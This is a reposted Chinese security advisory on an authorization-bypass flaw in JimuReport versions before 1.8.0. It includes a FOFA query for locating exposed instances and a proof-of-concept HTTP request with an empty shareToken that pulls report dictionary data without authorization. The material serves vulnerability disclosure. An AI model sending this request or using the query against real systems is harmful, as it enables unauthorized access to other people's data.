JimuReport积木报表<1.8.0 存在权限绕过漏洞

免责声明：本文内容为机器人搜集最新漏洞及POC分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！

漏洞名称

JimuReport<1.8.0 存在权限绕过漏洞

漏洞描述

JimuReport(积木报表) 是一款类似excel操作风格、在线拖拽式的报表工具。一款免费的数据可视化报表，含报表、仪表盘和大屏设计，像搭建积木一样在线设计报表！功能涵盖，数据报表、打印设计、图表报表、大屏设计等！

受影响版本中，由于 org.jeecg.modules.jmreport.desreport.service.a.f#isShareingToken 方法校验 token 时当查询结果为空返回 true，未授权的攻击者可利用该漏洞通过 /jmreport/dict/list 接口发送 shareToken 参数为空的请求绕过权限校验，获取报表字典记录信息。

FOFA语句

body="jeecg-boot"

POC

GET /jeecg-boot/jmreport/dict/list?previousPage=1&shareToken= HTTP/1.1
Host: localhost:8087
JmReport-Share-Token:123
Content-Length: 2

原文始发于微信公众号（安全光圈）：[含POC]JimuReport积木报表存在权限绕过漏洞